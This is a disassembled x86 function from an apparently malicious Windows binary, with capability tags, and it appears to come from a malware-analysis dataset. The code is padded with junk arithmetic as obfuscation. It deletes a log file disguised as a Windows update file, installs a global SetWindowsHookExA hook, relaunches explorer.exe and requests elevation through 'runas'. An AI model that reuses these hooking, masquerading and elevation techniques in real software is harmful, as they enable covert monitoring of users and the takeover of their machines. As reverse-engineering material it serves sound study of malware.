Function at 0x4121c0
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1074
call fcn.004306c0
mov eax, dword [0x45e640]
xor eax, ebp
mov dword [esp + 0x1070], eax
push ebx
push esi
push edi
mov ecx, dword [0x45cccc]
mov eax, dword [ebp + 0x14]
mov dword [esp + 0x18], eax
mov eax, 0x4227fdad
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
mov eax, 0xbb03c5cb
imul dword [0x45ccd4]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, esi
mov esi, eax
mov eax, 0x44fc3a35
imul ecx
mov ebx, dword [0x45cce8]
sar edx, 0xb
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov esi, dword [0x45ccdc]
mov edx, ecx
imul esi, esi, 0x1545
imul edx, edx, 0x1865
add eax, edx
mov dword [esp + 0x10], eax
mov eax, 0x5c9900d1
imul dword [0x45ccd4]
mov edi, ebx
imul edi, edi, 0xa74
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
add eax, edi
add eax, edx
add esi, eax
cmp dword [ebp + 8], 0x132b600
mov dword [esp + 0x1c], 0
mov dword [str._r_____r____], esi
mov eax, 0x44fc3a35
je 0x412331
imul dword [0x45ccdc]
mov ecx, dword [0x45ccd8]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
mov esi, ecx
imul edx, edx, 0x1545
imul esi, esi, 0x1db0
sub esi, eax
add esi, edx
mov eax, 0x6f9f33f1
imul ecx
mov ecx, dword [0x45ccd0]
sar edx, 0xb
add esi, edx
mov ebx, edx
mov eax, 0x5df55b35
imul ecx
sar edx, 0xa
shr ebx, 0x1f
mov eax, edx
shr eax, 0x1f
add ebx, esi
add eax, edx
sub ebx, eax
sub ebx, dword [0x45cce4]
lea ecx, [ebx + edi - 0x1259]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x45ccd0], ecx
mov esi, 0x64
lea esp, [esp]
push 0x3e8
call edi
dec esi
jne 0x412310
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1070]
xor ecx, ebp
call fcn.0042fe7d
mov esp, ebp
pop ebp
ret
mov edx, dword [0x45ccd0]
lea edi, [edx + ecx]
imul dword [0x45cce4]
imul edi, edi, 0x1ef5
sar edx, 0xb
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov dword [esp + 0x10], eax
mov eax, 0x5c9900d1
imul dword [0x45cce4]
mov eax, dword [esp + 0x10]
sar edx, 0xb
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov eax, 0xc09370e3
imul ecx
add edx, ecx
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
sub edi, eax
imul edx, edx, 0xade
mov eax, dword [0x45ccdc]
imul eax, eax, 0x1259
add edi, eax
mov eax, dword [section.dfsaewr4]
add edi, edx
test eax, eax
mov dword [0x45ccdc], edi
je 0x41242f
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45cce4]
mov eax, 0x53f407b5
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc09370e3
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccc8]
sub edi, eax
imul edx, edx, 0x1259
mov eax, dword [0x45cce0]
imul eax, eax, 0x1481
sub edi, eax
add edi, edx
mov eax, 0x6f9f33f1
imul ecx
sar edx, 0xb
add edi, edx
mov esi, edx
mov eax, 0x2f1d432d
imul ecx
shr esi, 0x1f
sar edx, 9
add esi, edi
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
mov dword [0x45ccc8], eax
jmp 0x413339
mov edx, dword [0x45ccd8]
add esi, edx
imul esi, esi, 0x1545
mov eax, edi
imul eax, eax, 0x1865
add esi, eax
mov eax, 0x5c9900d1
imul edi
sar edx, 0xb
add esi, edx
mov eax, edx
mov edx, dword [str._r_____r____]
imul edx, edx, 0x161e
shr eax, 0x1f
add eax, esi
add eax, edx
mov esi, eax
mov eax, 0x6614bc37
imul edi
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
sub esi, eax
lea eax, [esi + edx - 0x1259]
mov dword [0x45ccd4], eax
nop
mov edx, dword [0x45ccd0]
lea eax, [edx + ebx]
imul eax, eax, 0xae6
mov dword [esp + 0x10], eax
mov eax, 0x4227fdad
imul ebx
mov eax, dword [esp + 0x10]
sar edx, 0xb
add eax, edx
mov esi, edx
mov edx, dword [0x45ccd8]
shr esi, 0x1f
imul edx, edx, 0xade
add esi, eax
mov eax, edi
imul eax, eax, 0x1259
sub esi, eax
add esi, edx
mov eax, 0x5df55b35
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccd4]
imul edx, edx, 0xa74
sub esi, eax
mov eax, dword [ebp + 0x10]
sub esi, edx
test eax, eax
mov dword [0x45cce0], esi
jg 0x412655
mov eax, dword [esp + 0x18]
test eax, eax
je 0x412655
lea edx, [eax + 1]
mov dword [esp + 0x10], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x412517
sub eax, dword [esp + 0x10]
mov dword [esp + 0x14], eax
je 0x412655
mov edi, dword [0x45ccd4]
imul esi, esi, 0x1865
imul ebx, ebx, 0xa74
mov eax, 0x5c9900d1
imul edi
sar edx, 0xb
add esi, edx
mov eax, edx
shr eax, 0x1f
add eax, esi
mov dword [esp + 0x10], eax
mov eax, 0xc09370e3
imul edi
mov eax, dword [esp + 0x10]
add edx, edi
sar edx, 0xc
add eax, edx
mov esi, edx
shr esi, 0x1f
add esi, eax
mov eax, dword [0x45cce4]
imul eax, eax, 0x1259
add esi, eax
mov eax, 0x6614bc37
imul ecx
mov ecx, dword [str._r_____r____]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
sub esi, ebx
add esi, edx
add eax, esi
sub eax, ecx
mov ecx, dword [esp + 0x18]
push ecx
add eax, 0xae6
push 0
mov dword [0x45cccc], eax
call fcn.0040f1e0
add esp, 8
test eax, eax
mov dword [esp + 0x10], eax
jle 0x41318b
mov edx, dword [0x45ccc8]
mov eax, dword [0x45ccd4]
mov ecx, dword [0x45ccd8]
lea esi, [edx + eax]
mov eax, 0x4227fdad
imul esi, esi, 0xa08
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce4]
sub esi, eax
mov eax, 0x44fc3a35
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x5c9900d1
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x161e
mov edi, dword [0x45ccdc]
add esi, edx
mov eax, 0x5df55b35
imul ecx
mov ecx, dword [0x45cccc]
sar edx, 0xa
mov eax, edx
add esi, edx
shr eax, 0x1f
add eax, esi
mov esi, dword [0x45cce8]
mov dword [0x45cce4], eax
jmp 0x4126d3
mov edx, dword [0x45ccd8]
mov esi, dword [0x45ccd0]
lea ebx, [edx + esi]
imul esi, esi, 0x161e
mov eax, 0x5c9900d1
imul ebx, ebx, 0x1865
imul dword [0x45ccc8]
sar edx, 0xb
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
sub eax, esi
mov ebx, eax
mov eax, dword [0x45cce4]
imul eax, eax, 0x1259
sub ebx, eax
mov eax, 0x2f1d432d
imul dword [str._r_____r____]
sar edx, 9
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x6614bc37
imul dword [0x45ccc8]
sar edx, 0xa
mov esi, edx
add ebx, edx
mov edx, dword [ebp + 0x10]
shr esi, 0x1f
add esi, ebx
mov dword [0x45cce8], esi
mov dword [esp + 0x10], edx
mov eax, 0x4227fdad
imul edi, edi, 0x1545
imul esi, esi, 0xa74
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xbb03c5cb
imul dword [0x45ccd4]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov dword [esp + 0x14], eax
mov eax, 0x44fc3a35
imul ecx
imul ecx, ecx, 0x1865
mov eax, dword [esp + 0x14]
sar edx, 0xb
mov ebx, edx
add eax, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x5c9900d1
imul dword [0x45ccd4]
add ebx, ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
add ecx, edi
add ecx, esi
push str.c:WINDoWSKB5445243.log
mov dword [str._r_____r____], ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45cce4]
mov eax, 0x53f407b5
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xc09370e3
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce0]
sub edi, eax
imul edx, edx, 0x1481
mov eax, dword [0x45ccc8]
imul eax, eax, 0x1259
sub edi, edx
add edi, eax
mov eax, 0x6f9f33f1
imul ecx
sar edx, 0xb
add edi, edx
mov esi, edx
mov eax, 0x2f1d432d
imul ecx
mov eax, dword [0x5707ec]
shr esi, 0x1f
sar edx, 9
add esi, edi
mov ecx, edx
add esi, edx
mov edx, dword [esp + 0x10]
shr ecx, 0x1f
add ecx, esi
push edx
mov dword [0x45ccc8], ecx
push eax
mov ecx, dword [ebp + 0xc]
push sym.CallDll.exe_long_int___stdcall_EngineProc_int__unsigned_int__long_int_
push ecx
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
test eax, eax
mov dword [section.dfsaewr4], eax
je 0x413223
mov ebx, dword [0x45ccd8]
mov edi, dword [0x45ccc8]
mov eax, 0x44fc3a35
imul dword [0x45ccdc]
sar edx, 0xb
mov eax, edx
mov esi, ebx
imul esi, esi, 0x1db0
shr eax, 0x1f
add eax, edx
sub esi, eax
mov ecx, edi
imul ecx, ecx, 0x1545
mov eax, 0x6f9f33f1
imul ebx
add esi, ecx
sar edx, 0xb
add esi, edx
mov ecx, edx
mov edx, dword [0x45ccd0]
mov eax, 0x5df55b35
imul edx
sar edx, 0xa
shr ecx, 0x1f
mov eax, edx
add ecx, esi
mov esi, dword [0x45cce8]
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0xa74
sub ecx, eax
add ecx, edx
sub ecx, dword [0x45cce4]
sub ecx, 0x1259
mov dword [0x5707f0], 1
mov dword [esp + 0x10], 0
jmp 0x4128a3
mov esi, dword [0x45cce8]
mov ecx, dword [0x45ccd0]
mov ebx, dword [0x45ccd8]
mov edi, dword [0x45ccc8]
mov eax, 0x44fc3a35
imul ebx, ebx, 0x1db0
imul edi, edi, 0x1545
imul dword [0x45ccdc]
imul esi, esi, 0xa74
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x6f9f33f1
imul dword [0x45ccd8]
add ebx, edi
sar edx, 0xb
add ebx, edx
mov edi, edx
mov eax, 0x5df55b35
imul ecx
sar edx, 0xa
shr edi, 0x1f
mov ecx, edx
add edi, ebx
mov ebx, dword [0x45cce4]
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
add edi, esi
sub edi, ebx
sub edi, 0x1259
push str.c:WINDoWSKB5445243.log
mov dword [0x45ccd0], edi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
je 0x41293a
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [esp + 0x10]
inc eax
cmp eax, 0x12c
mov dword [esp + 0x10], eax
jl 0x41288b
mov esi, dword [0x45cce8]
mov ecx, dword [0x45ccc8]
mov edi, dword [0x45ccd4]
imul ecx, ecx, 0x161e
mov eax, 0x53f407b5
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x5c9900d1
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, esi
imul edx, edx, 0x1259
sub ecx, edx
mov eax, 0x61f60d03
imul esi
sar edx, 0xa
mov ebx, edx
add ecx, edx
shr ebx, 0x1f
add ebx, ecx
mov ecx, dword [0x45cce0]
mov eax, 0x6614bc37
imul ecx
sar edx, 0xa
add ebx, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0xa08
shr eax, 0x1f
add eax, ebx
add eax, edx
mov dword [0x45ccd8], eax
cmp dword [esp + 0x10], 0x12c
jl 0x4132bb
mov eax, dword [esp + 0x1c]
test eax, eax
jne 0x4132bb
mov esi, dword [0x45cccc]
imul ecx, ecx, 0xade
mov eax, dword [0x45ccd0]
mov edi, dword [0x45cce4]
lea ebx, [eax + esi]
mov eax, 0x44fc3a35
imul ebx, ebx, 0x1ef5
imul edi
sar edx, 0xb
mov eax, edx
add ebx, edx
shr eax, 0x1f
add eax, ebx
mov ebx, eax
mov eax, 0x5c9900d1
imul edi
sar edx, 0xb
mov edi, edx
add ebx, edx
mov eax, 0xc09370e3
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x1259
shr edi, 0x1f
add edi, ebx
sub edi, eax
add edi, edx
push 0x800
lea eax, [esp + 0x7c]
add edi, ecx
push eax
mov dword [0x45ccdc], edi
mov dword [esp + 0x24], 1
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov ecx, dword [0x45cce8]
mov edx, dword [0x45ccd0]
lea esi, [edx + ecx]
mov eax, 0x4227fdad
imul esi, esi, 0xae6
imul ecx
mov eax, dword [0x45ccdc]
mov ecx, dword [0x45ccd8]
imul eax, eax, 0x1259
sar edx, 0xb
imul ecx, ecx, 0xade
mov edi, edx
shr edi, 0x1f
add esi, edx
add edi, esi
sub edi, eax
add edi, ecx
mov ecx, dword [0x45cccc]
mov eax, 0x5df55b35
imul ecx
mov ecx, dword [0x45ccd4]
sar edx, 0xa
imul ecx, ecx, 0xa74
mov eax, edx
shr eax, 0x1f
add eax, edx
lea edx, [esp + 0x78]
push edx
sub edi, eax
lea eax, [esp + 0x87c]
sub edi, ecx
push str._sexplorer.exe
push eax
mov dword [0x45cce0], edi
call fcn.00430051
lea ecx, [esp + 0x884]
push 0
push ecx
call fcn.004303ed
add esp, 0x14
cmp eax, 0xffffffff
je 0x413104
mov edx, dword [0x45ccd4]
mov eax, dword [0x45ccc8]
mov ecx, dword [0x45ccd8]
lea esi, [eax + edx]
mov eax, 0x4227fdad
imul esi, esi, 0xa08
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45cce4]
sub esi, eax
mov eax, 0x44fc3a35
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x5c9900d1
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x161e
add esi, edx
mov eax, 0x5df55b35
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
push str.explorer.exe
mov dword [0x45cce4], eax
call fcn.004064b0
mov ecx, dword [0x45ccd0]
mov edx, dword [0x45ccd8]
mov esi, dword [0x45ccc8]
lea edi, [edx + ecx]
imul ecx, ecx, 0x161e
mov eax, 0x5c9900d1
imul edi, edi, 0x1865
imul esi
mov eax, dword [0x45cce4]
sar edx, 0xb
imul eax, eax, 0x1259
mov ebx, edx
shr ebx, 0x1f
add edi, edx
add ebx, edi
sub ebx, ecx
mov ecx, dword [str._r_____r____]
sub ebx, eax
mov eax, 0x2f1d432d
imul ecx
sar edx, 9
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x6614bc37
imul esi
sub ebx, ecx
sar edx, 0xa
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add esp, 4
add ecx, ebx
mov dword [0x45cce8], ecx
mov dword [esp + 0x10], 5
jmp 0x412c20
mov ecx, dword [0x45cce8]
jmp 0x412c20
mov esi, dword [0x45cccc]
imul ecx, ecx, 0xa74
mov edi, dword [0x45ccd4]
mov eax, 0x4227fdad
imul esi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xbb03c5cb
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov dword [esp + 0x14], eax
mov eax, 0x44fc3a35
imul esi
imul esi, esi, 0x1865
mov eax, dword [esp + 0x14]
sar edx, 0xb
add eax, edx
mov ebx, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x5c9900d1
imul edi
sar edx, 0xb
mov eax, edx
add ebx, esi
add ebx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x1545
shr eax, 0x1f
add eax, ebx
add eax, edx
add eax, ecx
push str.explorer.exe
mov dword [str._r_____r____], eax
call fcn.00405ea0
add esp, 4
test eax, eax
jg 0x413070
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45cce4]
mov eax, 0x53f407b5
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov ebx, dword [0x45cce0]
mov eax, 0xc09370e3
imul esi
add edx, esi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, dword [0x45ccc8]
imul eax, eax, 0x1259
mov edx, ebx
imul ebx, ebx, 0x1865
imul edx, edx, 0x1481
sub edi, edx
add edi, eax
mov eax, 0x6f9f33f1
imul ecx
sar edx, 0xb
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
mov edi, eax
mov eax, 0x2f1d432d
imul ecx
sar edx, 9
add edi, edx
xor eax, eax
mov esi, edx
shr esi, 0x1f
add esi, edi
mov ecx, 0x11
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov edi, dword [0x45ccd4]
mov eax, 0x5c9900d1
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
mov dword [esp + 0x14], eax
mov eax, 0xc09370e3
imul edi
mov eax, dword [esp + 0x14]
add edx, edi
mov ecx, dword [0x45cce8]
sar edx, 0xc
imul ecx, ecx, 0xa74
add eax, edx
mov edi, edx
mov edx, dword [0x45cce4]
imul edx, edx, 0x1259
shr edi, 0x1f
add edi, eax
add edi, edx
mov edx, dword [0x45cccc]
mov eax, 0x6614bc37
imul edx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
mov edi, dword [str._r_____r____]
sub eax, ecx
mov dword [0x45ccc8], esi
mov dword [esp + 0x20], 0x44
sub eax, edi
mov edx, dword [0x45ccdc]
imul esi, esi, 0x1545
mov edi, dword [0x45ccd8]
add eax, 0xae6
mov dword [0x45cccc], eax
mov eax, 0x44fc3a35
imul edx
sar edx, 0xb
mov ebx, edi
imul ebx, ebx, 0x1db0
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x6f9f33f1
imul edi
sar edx, 0xb
add ebx, esi
mov esi, edx
add ebx, edx
mov eax, 0x5df55b35
imul dword [0x45ccd0]
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add eax, edx
shr esi, 0x1f
add esi, ebx
sub esi, eax
sub esi, dword [0x45cce4]
lea ecx, [esi + ecx - 0x1259]
lea edx, [esp + 0x68]
push edx
lea eax, [esp + 0x24]
push eax
mov dword [0x45ccd0], ecx
lea ecx, [esp + 0x80]
push ecx
push 0
push 0x20
push 0
push 0
push 0
lea edx, [esp + 0x898]
push edx
push 0
mov dword [esp + 0x74], 1
mov word [esp + 0x78], 5
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x412ee4
mov ecx, dword [0x45ccdc]
mov esi, dword [str._r_____r____]
mov eax, dword [0x45ccd8]
lea edi, [eax + esi]
imul esi, esi, 0x161e
mov edx, ecx
imul edi, edi, 0x1545
imul edx, edx, 0x1865
add edi, edx
mov eax, 0x5c9900d1
imul ecx
sar edx, 0xb
add edi, edx
mov ebx, edx
mov eax, 0x6614bc37
imul ecx
mov ecx, dword [0x45cce0]
sar edx, 0xa
shr ebx, 0x1f
mov eax, edx
add ebx, edi
shr eax, 0x1f
add eax, edx
add ebx, esi
sub ebx, eax
lea edx, [ebx + ecx - 0x1259]
mov dword [0x45ccd4], edx
jmp 0x413070
mov ecx, dword [0x45cce8]
mov esi, dword [0x45ccc8]
mov eax, 0x53f407b5
imul esi, esi, 0x161e
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccd4]
sub esi, eax
mov eax, 0x5c9900d1
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x1259
sub esi, eax
sub esi, edx
mov eax, 0x61f60d03
imul ecx
mov ecx, dword [0x45cce0]
sar edx, 0xa
mov edi, edx
add esi, edx
mov eax, 0x6614bc37
imul ecx
imul ecx, ecx, 0xa08
sar edx, 0xa
shr edi, 0x1f
mov eax, edx
add edi, esi
shr eax, 0x1f
add edi, edx
push 1
add eax, edi
add eax, ecx
lea ecx, [esp + 0x7c]
push ecx
push 0
lea edx, [esp + 0x884]
push edx
push str.runas
push 0
mov dword [0x45ccd8], eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x413000
mov ecx, dword [0x45cccc]
mov eax, dword [0x45ccd0]
mov esi, dword [0x45cce4]
lea edi, [eax + ecx]
mov eax, 0x44fc3a35
imul edi, edi, 0x1ef5
imul esi
sar edx, 0xb
add edi, edx
mov ebx, edx
mov eax, 0x5c9900d1
imul esi
sar edx, 0xb
shr ebx, 0x1f
mov esi, edx
add ebx, edi
add ebx, edx
mov eax, 0xc09370e3
imul ecx
mov eax, dword [0x45cce0]
add edx, ecx
imul eax, eax, 0xade
sar edx, 0xc
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x1259
shr esi, 0x1f
add esi, ebx
sub esi, ecx
add esi, edx
add esi, eax
mov dword [0x45ccdc], esi
jmp 0x413070
mov ecx, dword [0x45cce8]
mov edx, dword [0x45ccd0]
lea esi, [edx + ecx]
mov eax, 0x4227fdad
imul esi, esi, 0xae6
imul ecx
mov eax, dword [0x45ccdc]
mov ecx, dword [0x45ccd8]
imul eax, eax, 0x1259
imul ecx, ecx, 0xade
sar edx, 0xb
mov edi, edx
shr edi, 0x1f
add esi, edx
add edi, esi
sub edi, eax
add edi, ecx
mov ecx, dword [0x45cccc]
mov eax, 0x5df55b35
imul ecx
mov ecx, dword [0x45ccd4]
sar edx, 0xa
imul ecx, ecx, 0xa74
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
sub edi, ecx
mov dword [0x45cce0], edi
mov edx, dword [0x45ccc8]
mov eax, dword [0x45ccd4]
mov ecx, dword [0x45ccd8]
lea esi, [edx + eax]
mov eax, 0x4227fdad
imul esi, esi, 0xa08
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x44fc3a35
imul dword [0x45cce4]
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x5c9900d1
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub esi, ecx
mov ecx, dword [str._r_____r____]
mov edx, ecx
imul edx, edx, 0x161e
add esi, edx
mov eax, 0x5df55b35
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add esi, edx
add eax, esi
push 0x3e8
mov dword [0x45cce4], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
dec dword [esp + 0x10]
jne 0x412c11
mov edx, dword [0x45ccd8]
mov ecx, dword [0x45ccd0]
mov esi, dword [0x45ccc8]
lea edi, [edx + ecx]
imul ecx, ecx, 0x161e
mov eax, 0x5c9900d1
imul edi, edi, 0x1865
imul esi
sar edx, 0xb
add edi, edx
mov eax, edx
shr eax, 0x1f
add eax, edi
sub eax, ecx
mov ecx, dword [0x45cce4]
imul ecx, ecx, 0x1259
sub eax, ecx
mov edi, eax
mov eax, 0x2f1d432d
imul dword [str._r_____r____]
sar edx, 9
mov ecx, dword [0x45cccc]
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x6614bc37
imul esi
sar edx, 0xa
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add ebx, edi
mov edi, dword [0x45ccdc]
mov dword [0x45cce8], ebx
jmp 0x412490
mov ecx, dword [0x45cce8]
mov esi, dword [0x45ccc8]
mov eax, 0x53f407b5
imul esi, esi, 0x161e
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45ccd4]
sub esi, eax
mov eax, 0x5c9900d1
imul edx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x1259
sub esi, eax
sub esi, edx
mov eax, 0x61f60d03
imul ecx
mov ecx, dword [0x45cce0]
sar edx, 0xa
add esi, edx
mov edi, edx
mov eax, 0x6614bc37
imul ecx
imul ecx, ecx, 0xa08
shr edi, 0x1f
sar edx, 0xa
add edi, esi
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
add eax, ecx
mov dword [0x45ccd8], eax
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1070]
xor ecx, ebp
call fcn.0042fe7d
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x45ccd4]
mov esi, dword [0x45cce0]
imul esi, esi, 0x1865
mov eax, 0x5c9900d1
imul ecx
sar edx, 0xb
add esi, edx
mov edi, edx
mov eax, 0xc09370e3
imul ecx
add edx, ecx
mov ecx, dword [0x45cce4]
sar edx, 0xc
imul ecx, ecx, 0x1259
shr edi, 0x1f
add edi, esi
add edi, edx
mov esi, edx
mov edx, dword [0x45cce8]
imul edx, edx, 0xa74
shr esi, 0x1f
add esi, edi
add esi, ecx
mov ecx, dword [0x45cccc]
sub esi, edx
mov eax, 0x6614bc37
imul ecx
sar edx, 0xa
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [str._r_____r____]
add eax, esi
sub eax, edx
add eax, 0xae6
mov dword [0x45cccc], eax
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1070]
xor ecx, ebp
call fcn.0042fe7d
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x45cccc]
imul esi, esi, 0xa74
mov eax, 0x4227fdad
imul ecx
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xbb03c5cb
imul edi
sar edx, 0xb
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ebx
mov dword [esp + 0x14], eax
mov eax, 0x44fc3a35
imul ecx
imul ecx, ecx, 0x1865
mov eax, dword [esp + 0x14]
sar edx, 0xb
mov ebx, edx
add eax, edx
shr ebx, 0x1f
add ebx, eax
mov eax, 0x5c9900d1
imul edi
add ebx, ecx
sar edx, 0xb
add ebx, edx
mov ecx, edx
mov edx, dword [0x45ccdc]
imul edx, edx, 0x1545
shr ecx, 0x1f
add ecx, ebx
add ecx, edx
add ecx, esi
mov dword [str._r_____r____], ecx
mov ecx, dword [esp + 0x107c]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0042fe7d
mov esp, ebp
pop ebp
ret